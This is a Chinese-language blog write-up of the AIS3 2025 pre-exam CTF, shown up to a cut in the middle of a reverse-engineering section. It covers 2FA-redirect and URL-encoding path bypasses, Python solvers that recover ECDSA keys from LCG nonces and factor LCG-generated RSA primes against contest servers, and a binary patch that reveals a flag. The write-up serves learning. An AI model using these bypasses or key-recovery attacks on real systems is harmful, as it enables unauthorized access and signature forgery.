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Robin Chiang
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歡迎來到我的部落格！這裡主要分享我近期學習到的內容，以及一些心得
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1389 字
4 分鐘
AIS3 2025 pre-exam writeup
2025-07-02
CTF
Cybersec
/
writeup

Web#

Login Screen 1#

這題原本是黑箱 之後才公開source 但我在這之前就解掉了,所以這邊我就不提供source

進去會看到登入畫面 CleanShot 2025-05-28 at 15.27.12@2x

登入guest/guest: CleanShot 2025-05-28 at 15.35.57@2x

輸入完2FA code, 會被導到dashboard CleanShot 2025-05-28 at 15.36.59@2x

回到登入頁面, 本來想說隨便試試看, 輸入admin/admin 然後就不小心登入了

同樣是一個要輸入2FA的地方 CleanShot 2025-05-28 at 15.32.38@2x

之前有刷過ching的2023 AIS3 pre-exam題目, 裡面有提跟這幾乎一模一樣

同樣先登入admin/admin, 但在2FA的地方直接帶著成功登入的token進去dashboard.php

雖然會直接被redirect回2fa.php, 但用burp可以攔截到 CleanShot 2025-05-28 at 15.43.13@2x

Flag: AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}

Tomorin DB#

題目的結構長這樣: CleanShot 2025-05-28 at 15.46.17@2x

main.go:

package main


import "net/http"


func main() {
  http.Handle("/", http.FileServer(http.Dir("/app/Tomorin")))
  http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
    http.Redirect(w, r, "https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6", http.StatusFound)
    })
    http.ListenAndServe(":30000", nil)
}

本來想說用/./flag但發現沒辦法，丟給GPT問還有甚麼方法

結果他用/%2e/flag可以過。仔細研究發現是因為/%2e/flag在ServeMux不會被轉為/flag

之後再進入cleanPath，他就會把., //之類的方法清掉了，但他只用”字串層面”找，所以%2e可以繞過

反正就挺酷的

Flag: AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}

Misc#

Ramen CTF#

題目附了一個照片, 要找出在哪裡吃的以及點了什麼 chal

使用google lens掃描發票的QRcode, 可以得到:

MF1687991111404137095000001f4000001f40000000034785923VG9sG89nFznfPnKYFRlsoA==:**:2:2:1:蝦拉

對店名最相關的應該就是發票上的賣方, 在對應到QRcode, 推測賣方統編應該是34785923

在拿這串統邊去財政部營業人統一編號查詢系統找, 得到店名為 CleanShot 2025-05-31 at 09.20.20@2x

拿店名去搜尋, 發現什麼都沒有, 我就嘗試去google map拿登記地址去找

image

發現附近好像只有”樂山溫泉拉麵”

拿者個店名去查, 果然出現不少東西

上面QRcode有掃出一個”蝦拉”, 推測菜名應該跟這有關

然後我就找到:

Flag: AIS3{樂山溫泉拉麵:蝦拉麵}

AIS3 Tiny Server - Web / Misc#

這是一道題組, 付了一個檔案和網址(檔案是給AIS3 Tiny Server - rev用的)

CleanShot 2025-05-31 at 09.42.17@2x

完全不知道在幹嘛, 因為聽別人說不建議逆他給的檔案, 所以我就純黑箱看

因為不知道要幹嘛, 就隨便亂碰碰看path traversel, 發現可以用URL encode到根目錄 CleanShot 2025-05-31 at 09.45.19@2x

再看到flag

CleanShot 2025-05-31 at 09.45.54@2x

Flag: AIS3{tInY_we8_s3RveR_WitH_FIl3_8rOWs1ng_a5_@_Fe4TuR3}

Welcome#

Flag: AIS3{Welcome_And_Enjoy_The_CTF_!}

Crypto#

Stream#

chal:

from random import getrandbits
import os
from hashlib import sha512
from flag import flag


def hexor(a: bytes, b: int):
    return hex(int.from_bytes(a)^b**2)


for i in range(80):
    print(hexor(sha512(os.urandom(True)).digest(), getrandbits(256)))


print(hexor(flag, getrandbits(256)))

加密方法:ciphertext=Flag⊕R2\text{ciphertext} = \text{Flag} \oplus R^{2}

R2R^{2}跟flag比大很多bit,而XOR只會運算道比較小的位元

所以ciphertext\text{ciphertext}跟R2R^{2}會差不多,爆破他們之間的距離即可

import math
ciphertext = "0x1a95888d32cd61925d40815f139aeb35d39d8e33f7e477bd020b88d3ca4adee68de5a0dee2922628da3f834c9ada0fa283e693f1deb61e888423fd64d5c3694"


C_flag = int(ciphertext, 16)


approx_R = int(math.isqrt(C_flag))


delta_range = 500000
found_flag = None


for delta in range(-delta_range, delta_range + 1):
    potential_R = approx_R + delta


    if potential_R < 0:
        continue


    potential_R_squared = potential_R ** 2
    potential_flag_int = C_flag ^ potential_R_squared


    try:
        padded_flag_bytes = potential_flag_int.to_bytes(64, 'big')


        if b'AIS3{' in padded_flag_bytes:
            start_index = padded_flag_bytes.find(b'AIS3{')


            is_printable = True
            for char_val in padded_flag_bytes[start_index:]:
                if not (32 <= char_val <= 126 or char_val == 0):
                    is_printable = False
                    break


            if is_printable:
                decoded_flag = padded_flag_bytes.decode('utf-8', errors='ignore')
                print(decoded_flag)


    except OverflowError:
        pass
    except UnicodeDecodeError:
        pass

Flag: AIS3{no_more_junks…plz}

Hill#

chal:

import numpy as np


p = 251
n = 8




def gen_matrix(n, p):
    while True:
        M = np.random.randint(0, p, size=(n, n))
        if np.linalg.matrix_rank(M % p) == n:
            return M % p


A = gen_matrix(n, p)
B = gen_matrix(n, p)


def str_to_blocks(s):
    data = list(s.encode())
    length = ((len(data) - 1) // n) + 1
    data += [0] * (n * length - len(data))  # padding
    blocks = np.array(data, dtype=int).reshape(length, n)
    return blocks


def encrypt_blocks(blocks):
    C = []
    for i in range(len(blocks)):
        if i == 0:
            c = (A @ blocks[i]) % p
        else:
            c = (A @ blocks[i] + B @ blocks[i-1]) % p
        C.append(c)
    return C


flag = "AIS3{Fake_FLAG}"
blocks = str_to_blocks(flag)
ciphertext = encrypt_blocks(blocks)


print("Encrypted flag:")
for c in ciphertext:
    print(c)


t = input("input: ")
blocks = str_to_blocks(t)
ciphertext = encrypt_blocks(blocks)
for c in ciphertext:
    print(c)

第0個區塊:

C0=(A×P0)mod  pC_{0}=(A\times P_{0})\text{mod}\; p

第i(非0)個區塊:

C=(A×Pi+B×Pi−1)mod  pC_{} = (A \times P_{i}+B \times P_{i-1})\text{mod}\; p

拿到A,B就可以得到flag

可以傳入basis vector，這樣就可以直接噴出來了:

A  =  [a0,0a0,1⋯a0,7a1,0a1,1⋯a1,7⋮⋮⋱⋮a7,0a7,1⋯a7,7],e3=[00010000]  ⟹  A e3=[a0,3a1,3a2,3a3,3a4,3a5,3a6,3a7,3] A \;=\; \begin{bmatrix} a_{0,0} & a_{0,1} & \cdots & a_{0,7} \\ a_{1,0} & a_{1,1} & \cdots & a_{1,7} \\ \vdots & \vdots & \ddots & \vdots \\ a_{7,0} & a_{7,1} & \cdots & a_{7,7} \end{bmatrix}, \quad e_3 = \begin{bmatrix}0\\0\\0\\1\\0\\0\\0\\0\end{bmatrix} \;\Longrightarrow\; A\,e_3 = \begin{bmatrix} a_{0,3} \\ a_{1,3} \\ a_{2,3} \\ a_{3,3} \\ a_{4,3} \\ a_{5,3} \\ a_{6,3} \\ a_{7,3} \end{bmatrix}

剩下反向操作即可，感謝我大GPT

import numpy as np
import sympy
from pwn import remote


p = 251
n = 8


def parse_line(line):
    s = line.decode().strip()
    if s.startswith('[') and s.endswith(']'):
        s = s[1:-1]
    return [int(x) for x in s.split()]


def mat_mul(M, v):
    return [(sum(M[i][j] * v[j] for j in range(n)) % p) for i in range(n)]


def vec_sub(v1, v2):
    return [(v1[i] - v2[i]) % p for i in range(len(v1))]


def solve():
    conn = remote("chals1.ais3.org", 18000)


    # Extract flag ciphertext
    initial = conn.recvuntil(b"input: ")
    lines = initial.split(b'\n')


    flag_blocks = []
    start = next(i for i, line in enumerate(lines) if b"Encrypted flag:" in line) + 1
    for line in lines[start:]:
        s = line.decode().strip()
        if not s or "input:" in s:
            break
        if s.startswith('[') or s[0].isdigit():
            flag_blocks.append(parse_line(line))


    # Send basis vectors payload
    payload = []
    for i in range(n):
        basis = [0] * n
        basis[i] = 1
        payload.extend(basis + [0] * n)


    conn.sendline(bytes(payload))
    response = conn.recvall(timeout=5)


    # Parse response blocks
    response_blocks = [parse_line(line) for line in response.strip().split(b'\n') if line.strip()]


    # Reconstruct matrices A and B
    A_cols = [response_blocks[2*i] for i in range(n)]
    B_cols = [response_blocks[2*i+1] for i in range(n)]


    A = [list(col) for col in zip(*A_cols)]
    B = [list(col) for col in zip(*B_cols)]


    # Compute A^-1
    A_inv = sympy.Matrix(A).inv_mod(p).tolist()


    # Decrypt flag blocks
    decrypted = []
    decrypted.append(mat_mul(A_inv, flag_blocks[0]))


    for i in range(1, len(flag_blocks)):
        BP = mat_mul(B, decrypted[i-1])
        term = vec_sub(flag_blocks[i], BP)
        decrypted.append(mat_mul(A_inv, term))


    # Convert to flag
    flag_bytes = [b for block in decrypted for b in block]
    while flag_bytes and flag_bytes[-1] == 0:
        flag_bytes.pop()


    flag = bytes(flag_bytes).decode('utf-8', errors='replace')
    print(flag)


    conn.close()


if __name__ == '__main__':
    solve()

SlowECDSA#

chal:

#!/usr/bin/env python3


import hashlib, os
from ecdsa import SigningKey, VerifyingKey, NIST192p
from ecdsa.util import number_to_string, string_to_number
from Crypto.Util.number import getRandomRange
from flag import flag


FLAG = flag


class LCG:
    def __init__(self, seed, a, c, m):
        self.state = seed
        self.a = a
        self.c = c
        self.m = m


    def next(self):
        self.state = (self.a * self.state + self.c) % self.m
        return self.state


curve = NIST192p
sk = SigningKey.generate(curve=curve)
vk = sk.verifying_key
order = sk.curve.generator.order()


lcg = LCG(seed=int.from_bytes(os.urandom(24), 'big'), a=1103515245, c=12345, m=order)


def sign(msg: bytes):
    h = int.from_bytes(hashlib.sha1(msg).digest(), 'big') % order
    k = lcg.next()
    R = k * curve.generator
    r = R.x() % order
    s = (pow(k, -1, order) * (h + r * sk.privkey.secret_multiplier)) % order
    return r, s


def verify(msg: str, r: int, s: int):
    h = int.from_bytes(hashlib.sha1(msg.encode()).digest(), 'big') % order
    try:
        sig = number_to_string(r, order) + number_to_string(s, order)
        return vk.verify_digest(sig, hashlib.sha1(msg.encode()).digest())
    except:
        return False


example_msg = b"example_msg"
print("==============SlowECDSA===============")
print("Available options: get_example, verify")


while True:
    opt = input("Enter option: ").strip()


    if opt == "get_example":
        print(f"msg: {example_msg.decode()}")
        example_r, example_s = sign(example_msg)
        print(f"r: {hex(example_r)}")
        print(f"s: {hex(example_s)}")


    elif opt == "verify":
        msg = input("Enter message: ").strip()
        r = int(input("Enter r (hex): ").strip(), 16)
        s = int(input("Enter s (hex): ").strip(), 16)


        if verify(msg, r, s):
            if msg == "give_me_flag":
                print("✅ Correct signature! Here's your flag:")
                print(FLAG.decode())
            else:
                print("✔️ Signature valid, but not the target message.")
        else:
            print("❌ Invalid signature.")


    else:
        print("Unknown option. Try again.")
  • 曲線：NIST192p，基數 n = order
  • 私鑰：d = sk.privkey.secret_multiplier
  • 隨機數 k：不是隨機呼叫 os.urandom()，而是經LCG依序產生
ki+1≡(Aki+C)(modn),A=1103515245,  C=12345k_{i+1} \equiv (A k_i + C) \pmod{n},\quad A = 1103515245,\; C = 12345
  • 簽章公式
ri=(kiG)x mod nsi=ki−1 (hi+rid) mod n\begin{aligned} r_i &= (k_i G)_x \bmod n\\ s_i &= k_i^{-1}\,\bigl(h_i + r_i d\bigr) \bmod n\\ \end{aligned}

(其中hi=SHA1⁡(mi) mod nh_i = \operatorname{SHA1}(m_i)\bmod n)

LCG為線性遞迴，只要抓到一組 (k1,k2)(k_1,k_2) 便能推出參數或直接預測下一值

伺服器允許同一訊息多次簽章，產生連續的 k1,k2k_1, k_2

hash相同(訊息一樣），化簡推導相當容易

設兩次簽章皆用訊息 example_msg，得到

(r1,s1,k1),(r2,s2,k2),  k2=Ak1+C(modn)\bigl(r_1,s_1,k_1\bigr),\quad \bigl(r_2,s_2,k_2\bigr),\; k_2 = Ak_1 + C \pmod n

且 h = \operatorname{SHA1}(\text{example_msg}) \bmod n

s1k1=h+r1d(modn)s2k2=h+r2d(modn)\begin{aligned} s_1 k_1 &= h + r_1 d \pmod n\\ s_2 k_2 &= h + r_2 d \pmod n\\ \end{aligned}

整理：

d=s1k1−s2k2r1−r2(modn)d = \frac{s_1 k_1 - s_2 k_2}{r_1 - r_2} \pmod n

代回第一條式子 s1k1=h+r1ds_1 k_1 = h + r_1 d：

s1k1=h+r1 s1k1−s2(Ak1+C)r1−r2(modn)s_1 k_1 = h + r_1\, \frac{s_1 k_1 - s_2 (A k_1 + C)}{r_1 - r_2} \pmod n

得一次方程

k1 (s1r2−As2r1)=h(r2−r1)+C s2r1(modn)k_1\,(s_1 r_2 - A s_2 r_1) =h(r_2 - r_1) + C\,s_2 r_1 \pmod nk1=h(r2−r1)+Cs2r1s1r2−As2r1(modn)k_1 = \frac{h(r_2 - r_1) + C s_2 r_1} {s_1 r_2 - A s_2 r_1} \pmod n

程式裡以 pow(den, -1, n) 取逆元即完成

有了 k1k_1，直接用標準式

d=(s1k1−h) r1−1(modn)d = (s_1 k_1 - h) \, r_1^{-1} \pmod nkflag=Ak2+C(modn)k_{\text{flag}} = A k_2 + C \pmod n

計算

rflag=(kflagG)x mod nsflag=kflag−1 (hflag+rflagd) mod n\begin{aligned} r_{\text{flag}} &= (k_{\text{flag}} G)_x \bmod n \\ s_{\text{flag}} &= k_{\text{flag}}^{-1}\, \bigl(h_{\text{flag}} + r_{\text{flag}} d\bigr) \bmod n \end{aligned}

exploit:

from pwn import remote
import hashlib
from ecdsa import NIST192p


A_LCG = 1103515245
C_LCG = 12345
curve = NIST192p
ORDER = curve.order
G = curve.generator


def get_example_sig(p):
    p.sendlineafter(b"Enter option: ", b"get_example")
    p.recvuntil(b"msg: ")
    msg_str = p.recvline().strip().decode()
    p.recvuntil(b"r: ")
    r_hex = p.recvline().strip().decode()
    p.recvuntil(b"s: ")
    s_hex = p.recvline().strip().decode()
    return msg_str.encode(), int(r_hex, 16), int(s_hex, 16)


def verify_sig(p, msg_str, r_val, s_val):
    p.sendlineafter(b"Enter option: ", b"verify")
    p.sendlineafter(b"Enter message: ", msg_str.encode())
    p.sendlineafter(b"Enter r (hex): ", hex(r_val).encode())
    p.sendlineafter(b"Enter s (hex): ", hex(s_val).encode())
    return p.recvall(timeout=2)


def main():
    p = remote('chals1.ais3.org', 19000)


    msg_ex_bytes, r1, s1 = get_example_sig(p)
    _, r2, s2 = get_example_sig(p)


    h_ex = int.from_bytes(hashlib.sha1(msg_ex_bytes).digest(), 'big') % ORDER


    # Recover k1
    term1 = (h_ex * r2 - h_ex * r1 + C_LCG * s2 * r1) % ORDER
    term2 = (s1 * r2 - A_LCG * s2 * r1) % ORDER
    k1 = (term1 * pow(term2, -1, ORDER)) % ORDER


    # Recover private key d
    d = ((s1 * k1 - h_ex) % ORDER * pow(r1, -1, ORDER)) % ORDER


    # Predict next nonce
    k2 = (A_LCG * k1 + C_LCG) % ORDER
    k_flag = (A_LCG * k2 + C_LCG) % ORDER


    # Sign "give_me_flag"
    msg_flag = "give_me_flag"
    h_flag = int.from_bytes(hashlib.sha1(msg_flag.encode()).digest(), 'big') % ORDER


    R_flag_point = G * k_flag
    r_flag = R_flag_point.x() % ORDER
    s_flag = (pow(k_flag, -1, ORDER) * (h_flag + r_flag * d)) % ORDER


    response = verify_sig(p, msg_flag, r_flag, s_flag)
    print(response.decode())
    p.close()


if __name__ == "__main__":
    main()

Flag: AIS3{Aff1n3_nounc3s_c@N_bE_broke_ezily…}

Random RSA#

chal:

chall.py
from Crypto.Util.number import getPrime, bytes_to_long
from sympy import nextprime
from gmpy2 import is_prime


FLAG = b"AIS3{Fake_FLAG}"


a = getPrime(512)
b = getPrime(512)
m = getPrime(512)
a %= m
b %= m
seed = getPrime(300)


rng = lambda x: (a*x + b) % m




def genPrime(x):
    x = rng(x)
    k=0
    while not(is_prime(x)):
        x = rng(x)
    return x


p = genPrime(seed)
q = genPrime(p)


n = p * q
e = 65537
m_int = bytes_to_long(FLAG)
c = pow(m_int, e, n)


# hint
seed = getPrime(300)
h0 = rng(seed)
h1 = rng(h0)
h2 = rng(h1)


with open("output.txt", "w") as f:
    f.write(f"h0 = {h0}\n")
    f.write(f"h1 = {h1}\n")
    f.write(f"h2 = {h2}\n")
    f.write(f"M = {m}\n")
    f.write(f"n = {n}\n")
    f.write(f"e = {e}\n")
    f.write(f"c = {c}\n")

output:

h0 = 2907912348071002191916245879840138889735709943414364520299382570212475664973498303148546601830195365671249713744375530648664437471280487562574592742821690
h1 = 5219570204284812488215277869168835724665994479829252933074016962454040118179380992102083718110805995679305993644383407142033253210536471262305016949439530
h2 = 3292606373174558349287781108411342893927327001084431632082705949610494115057392108919491335943021485430670111202762563173412601653218383334610469707428133
M = 9231171733756340601102386102178805385032208002575584733589531876659696378543482750405667840001558314787877405189256038508646253285323713104862940427630413
n = 20599328129696557262047878791381948558434171582567106509135896622660091263897671968886564055848784308773908202882811211530677559955287850926392376242847620181251966209002883852930899738618123390979377039185898110068266682754465191146100237798667746852667232289994907159051427785452874737675171674258299307283
e = 65537
c = 13859390954352613778444691258524799427895807939215664222534371322785849647150841939259007179911957028718342213945366615973766496138577038137962897225994312647648726884239479937355956566905812379283663291111623700888920153030620598532015934309793660829874240157367798084893920288420608811714295381459127830201

根據LCG定義, xk+1=a×xk+b  (mod  m)x_{k+1} = a \times x_{k} + b \;(\text{mod} \;m)

chal裡面h0為LCG初始值,其餘類推

h2−h1=a(h1−h0)  (mod  m)h_{2}-h_{1}=a(h_1-h_0)\;(\text{mod} \;m)

所以 a=(h2−h1)(h1−h0)−1  (mod  m)a=(h_{2}-h_{1})(h_{1}-h_{0})^{-1}\;(\text{mod} \;m)

b=h1−a×h0  (mod  m)b=h_1-a\times h_0\;(\text{mod} \;m)

第一次 LCG 輸出為 h0=a x0+b(modm)h_0 = a\,x_0 + b \pmod m

a x0  ≡  h0−b(modm)⟹x0  ≡  ( h0−b )×a−1(modm)a\,x_0 \;\equiv\; h_0 - b \pmod m \quad\Longrightarrow\quad x_0 \;\equiv\; (\,h_0 - b\,)\times a^{-1} \pmod m

只要 gcd⁡(a,m)=1\gcd(a,m)=1, 就可計算 a−1a^{-1} 以還原 x0x_0

計算出的 x0x_0 小於m才有效

LCG 的第 jj 步輸出為

xj≡aj x0  +  b  aj−1  a−1 (modm) x_j \equiv a^j\,x_0 \;+\; b\,\frac{\,a^j - 1\,}{\,a - 1\,}\pmod m

RSA的pp就是某次xjx_j

結合 n=p qn=p\,q 可得到一元二次同餘

Aj p2+2 Bj p−n  ≡  0(modm),Aj=aj,  Bj=b (Aj−1)  (a−1)−1A_j\,p^2 + 2\,B_j\,p - n \;\equiv\;0\pmod m, \quad A_j=a^j,\;B_j=b\,(A_j-1)\;(a-1)^{-1}

判別式Δj≡Bj2+4 Aj n(modm)\Delta_j\equiv B_j^2 + 4\,A_j\,n\pmod m

若非模 mm 下平方剩餘，則該 jj 可直接跳過；僅需對 Δj\Delta_j 為平方剩餘的 jj 試算平方根與驗證整除

from sympy.ntheory import sqrt_mod
from Crypto.Util.number import long_to_bytes


h0 = 2907912348071002191916245879840138889735709943414364520299382570212475664973498303148546601830195365671249713744375530648664437471280487562574592742821690
h1 = 5219570204284812488215277869168835724665994479829252933074016962454040118179380992102083718110805995679305993644383407142033253210536471262305016949439530
h2 = 3292606373174558349287781108411342893927327001084431632082705949610494115057392108919491335943021485430670111202762563173412601653218383334610469707428133
M = 9231171733756340601102386102178805385032208002575584733589531876659696378543482750405667840001558314787877405189256038508646253285323713104862940427630413
n = 20599328129696557262047878791381948558434171582567106509135896622660091263897671968886564055848784308773908202882811211530677559955287850926392376242847620181251966209002883852930899738618123390979377039185898110068266682754465191146100237798667746852667232289994907159051427785452874737675171674258299307283
e = 65537
c = 13859390954352613778444691258524799427895807939215664222534371322785849647150841939259007179911957028718342213945366615973766496138577038137962897225994312647648726884239479937355956566905812379283663291111623700888920153030620598532015934309793660829874240157367798084893920288420608811714295381459127830201


# Step 1: Recover LCG parameters
diff1 = (h1 - h0) % M
diff2 = (h2 - h1) % M
a = (diff2 * pow(diff1, -1, M)) % M
b = (h1 - a * h0) % M


print(f"[*] Recovered a: {a}")
print(f"[*] Recovered b: {b}")


# Step 2 & 3: Iterate on j and solve the congruence
inv_a_minus_1 = pow(a - 1, -1, M)
Aj = 1  # This will be a^j mod M


for j in range(1, 1001):
    Aj = (Aj * a) % M
    Bj = (b * (Aj - 1) * inv_a_minus_1) % M


    # Discriminant Dj = Bj^2 + 4*Aj*n mod M
    Dj = (pow(Bj, 2, M) + 4 * Aj * n) % M


    # Check if Dj is a quadratic residue
    if pow(Dj, (M - 1) // 2, M) != 1:
        continue


    print(f"\n[*] Found potential j = {j}")


    # Calculate the modular square roots
    y_roots = sqrt_mod(Dj, M, all_roots=True)
    if not y_roots:
        continue


    inv_2Aj = pow(2 * Aj, -1, M)


    # Step 4: Test candidates for p and decrypt
    for y in y_roots:
        p_cand = ((y - Bj) * inv_2Aj) % M


        if n % p_cand == 0:
            p = p_cand
            q = n // p


            # Sanity check if p and q are non-trivial factors
            if p != 1 and q != 1:
                print(f"[+] Successfully factored n!")
                print(f"[+] p = {p}")
                print(f"[+] q = {q}")


                phi = (p - 1) * (q - 1)
                d = pow(e, -1, phi)
                m_int = pow(c, d, n)
                flag = long_to_bytes(m_int)


                print(flag.decode())
                exit(0)

Flag: AIS3{1_d0n7_r34lly_why_1_d1dn7_u53_637pr1m3}

Rev#

Simple snake game#

題目給一個貪食蛇遊戲

能死三次 CleanShot 2025-05-27 at 08.57.35@2x

丟IDA, 追到main -> WinMain -> main_getcmdline -> SDL_main

int SDL_main()
{
  //省略變數宣告
  if ( (unsigned __int8)SnakeGame::Screen::init(v6) != 1 )
  {
    v8 = (SnakeGame::Snake *)"Error initializing screen";
    SDL_Log();
    lpuexcpt = -1;
  }
  else
  {
    v35 = 0;
    v22 = 1;
    v21 = 0;
    while ( !v35 && v26 > 0 )
    {
      SnakeGame::Screen::clear(v7);
      SnakeGame::Snake::draw((SnakeGame::Snake *)v29, v15);
      SnakeGame::Food::draw((SnakeGame::Food *)v29, v16);
      drawWalls(v23, v29);
      SnakeGame::Screen::update(v36, v26, 0, v17);
      if ( v22 )
      {
        v35 = holdGame((SnakeGame::Screen *)v29, 1500);
        v22 = 0;
      }
      switch ( SnakeGame::Screen::processEvents(v9) )
      {
        case 0:
          v35 = 1;
          break;
        case 1:
          if ( v27 != 1 )
            SnakeGame::Snake::updateDirection(0, (int)v15);
          break;
        case 2:
          if ( v27 != 1 )
            SnakeGame::Snake::updateDirection((SnakeGame::Snake *)1, (int)v15);
          break;
        case 3:
          if ( v27 != 1 )
            SnakeGame::Snake::updateDirection((SnakeGame::Snake *)2, (int)v15);
          break;
        case 4:
          if ( v27 != 1 )
            SnakeGame::Snake::updateDirection((SnakeGame::Snake *)3, (int)v15);
          break;
        case 5:
          v21 = 1;
          break;
        default:
          break;
      }
      if ( v21 )
        v35 = pauseGame((SnakeGame::Screen *)v29, &v21);
      Ticks = SDL_GetTicks();
      if ( !(Ticks / 10 % 6) )
      {
        if ( (unsigned __int8)SnakeGame::Snake::move(v7) != 1 )
        {
          resetLevel((SnakeGame::Snake *)v25, (SnakeGame::Food *)v24, &v22);
        }
        else
        {
          if ( (unsigned __int8)SnakeGame::Snake::collidesWith((SnakeGame::Snake *)v24, v15) )
          {
            SnakeGame::Food::Food(v10);
            SnakeGame::Food::operator=(v30);
            v36 = (SnakeGame::Screen *)((char *)v36 + SnakeGame::Food::S_VALUE);
            SnakeGame::Snake::addSection(v11);
          }
          v32 = v23;
          v20 = std::vector<SnakeGame::Wall *>::begin(v23);
          v19 = std::vector<SnakeGame::Wall *>::end(v32);
          while ( (unsigned __int8)__gnu_cxx::operator!=<SnakeGame::Wall **,std::vector<SnakeGame::Wall *>>(&v20, &v19) )
          {
            v31 = *(SnakeGame::Snake **)__gnu_cxx::__normal_iterator<SnakeGame::Wall **,std::vector<SnakeGame::Wall *>>::operator*(&v20);
            if ( (unsigned __int8)SnakeGame::Snake::collidesWith(v31, v15) )
              resetLevel((SnakeGame::Snake *)v25, (SnakeGame::Food *)v24, &v22);
            __gnu_cxx::__normal_iterator<SnakeGame::Wall **,std::vector<SnakeGame::Wall *>>::operator++(&v20);
          }
          for ( i = 1; ; ++i )
          {
            v1 = std::vector<SnakeGame::Section *>::size(&v28);
            if ( v1 <= i )
              break;
            v12 = *(SnakeGame::Snake **)std::vector<SnakeGame::Section *>::operator[](i);
            if ( (unsigned __int8)SnakeGame::Snake::collidesWith(v12, v15) )
              resetLevel((SnakeGame::Snake *)v25, (SnakeGame::Food *)v24, &v22);
          }
        }
      }
      if ( !v26 )
      {
        SnakeGame::Screen::clear(v7);
        SnakeGame::Screen::drawGameOver(v13);
        SnakeGame::Screen::update(v36, v26, 1, v17);
        holdGame((SnakeGame::Screen *)v29, 3000);
      }
    }
    freeWalls(v23);
    SnakeGame::Screen::close(v14);
    lpuexcpt = 0;
  }
  std::vector<SnakeGame::Wall *>::~vector(v23);
  SnakeGame::Snake::~Snake(v8);
  return lpuexcpt;
}

其中有一行:

v36 = (SnakeGame::Screen *)((char *)v36 + SnakeGame::Food::S_VALUE);

SnakeGame::Food::S_VALUE是50, 可以猜到v36應該是分數之類的

繼續猜應該會有一行v36 > ???處理”Win”的邏輯,但沒看到

只能往下追

if ( !v26 )
{
    SnakeGame::Screen::clear(v7);
    SnakeGame::Screen::drawGameOver(v13);
    SnakeGame::Screen::update(v36, v26, 1, v17);
    holdGame((SnakeGame::Screen *)v29, 3000);
}

著重看到update(), 裡面還調用到v36

int __userpurge SnakeGame::Screen::update@<eax>(_DWORD *a1@<ecx>, SnakeGame::Screen *this, int a3, char a4, bool a5)
{
  SDL_UpdateTexture(a1[2], 0, a1[6], 3200);
  SDL_RenderClear(a1[1]);
  SDL_RenderCopy(a1[1], a1[2]);
  if ( a4 != 1 )
    SnakeGame::Screen::drawText(this, a3, 0);
  return SDL_RenderPresent(a1[1]);
}

在繼續追到drawText()

void __userpurge SnakeGame::Screen::drawText(_DWORD *a1@<ecx>, SnakeGame::Screen *this, int a3, int a4)
{


  if ( (int)this <= 11451419 || a3 <= 19810 )
  {
    SnakeGame::Screen::createText[abi:cxx11](a1, this, a3);
    v27 = 0xFFFFFF;
    v8 = std::string::c_str(v28);
    a1[3] = TTF_RenderText_Solid(a1[5], v8, 0xFFFFFF);
    a1[4] = SDL_CreateTextureFromSurface(a1[1], a1[3]);
    v23 = 400;
    v24 = 565;
    v25 = 320;
    v26 = 30;
    SDL_RenderCopy(a1[1], a1[4]);
    std::string::~string(v28);
  }
  else
  {
    v14[0] = -831958911;
    v14[1] = -1047254091;
    v14[2] = -1014295699;
    v14[3] = -620220219;
    v14[4] = 2001515017;
    v14[5] = -317711271;
    v14[6] = 1223368792;
    v14[7] = 1697251023;
    v14[8] = 496855031;
    v14[9] = -569364828;
    v15 = 26365;
    v16 = 40;
    std::allocator<char>::allocator(&v29);
    std::string::basic_string(v14, 43, &v29);
    std::allocator<char>::~allocator(&v29);
    for ( i = 0; ; ++i )
    {
      v4 = std::string::length(v22);
      if ( i >= v4 )
        break;
      lpuexcpt = *(_BYTE *)std::string::operator[](i);
      v9 = SnakeGame::hex_array1[i];
      *(_BYTE *)std::string::operator[](i) = v9 ^ lpuexcpt;
    }
    v21 = 0xFFFFFF;
    v5 = std::string::c_str(v22);
    v31 = TTF_RenderText_Solid(a1[5], v5, v21);
    if ( v31 )
    {
      TextureFromSurface = SDL_CreateTextureFromSurface(a1[1], v31);
      if ( TextureFromSurface )
      {
        v17 = 200;
        v18 = 565;
        v19 = 590;
        v20 = 30;
        SDL_RenderCopy(a1[1], TextureFromSurface);
        SDL_FreeSurface(v31);
        SDL_DestroyTexture(TextureFromSurface);
      }
      else
      {
        lpuexcptb = (struct _Unwind_Exception *)std::operator<<<std::char_traits<char>>(
                                                  (std::ostream::sentry *)&std::cerr,
                                                  "SDL_CreateTextureFromSurface: ");
        Error = (char *)SDL_GetError();
        std::operator<<<std::char_traits<char>>((std::ostream::sentry *)lpuexcptb, Error);
        std::ostream::operator<<(std::endl<char,std::char_traits<char>>);
        SDL_FreeSurface(v31);
      }
    }
    else
    {
      lpuexcpta = (struct _Unwind_Exception *)std::operator<<<std::char_traits<char>>(
                                                (std::ostream::sentry *)&std::cerr,
                                                "TTF_RenderText_Solid: ");
      v6 = (char *)SDL_GetError();
      std::operator<<<std::char_traits<char>>((std::ostream::sentry *)lpuexcpta, v6);
      std::ostream::operator<<(std::endl<char,std::char_traits<char>>);
    }
    std::string::~string(v22);
  }
}

找到關鍵點if ( (int)this <= 11451419 || a3 <= 19810 )

再把這行patch掉，jle改jg image

這樣一打開遊戲，flag就噴出來了 image

Flag: AIS3{CH3aT_Eng1n3?_0fcau53_I_bo_1T_by_hAnD}

AIS3 Tiny Server - Reverse#

題目給的檔案跟上面web的tiny server一樣

使用搜尋功能找flag可以看到sub_2110有出現過這個詞 CleanShot 2025-05-31 at 15.21.36@2x

看起來上面的sub_1E20在做flag檢查, 追進去看:

_BOOL4 __cdecl sub_1E20(int a1)
{
  v1 = 0;
  v2 = 51;
  v9 = 20;
  v3 = 114;
  v8[0] = 1480073267;
  v8[1] = 1197221906;
  v8[2] = 254628393;
  v8[3] = 920154;
  v8[4] = 1343445007;
  v8[5] = 874076697;
  v8[6] = 1127428440;
  v8[7] = 1510228243;
  v8[8] = 743978009;
  v8[9] = 54940467;
  v8[10] = 1246382110;
  qmemcpy(v7, "rikki_l0v3", sizeof(v7));
  while ( 1 )
  {
    *((_BYTE *)v8 + v1++) = v2 ^ v3;
    if ( v1 == 45 )
      break;
    v2 = *((_BYTE *)v8 + v1);
    v3 = v7[v1 % 0xA];
  }
  for ( i = 0; i != 45; ++i )
  {
    v5 = *(_BYTE *)(a1 + i);
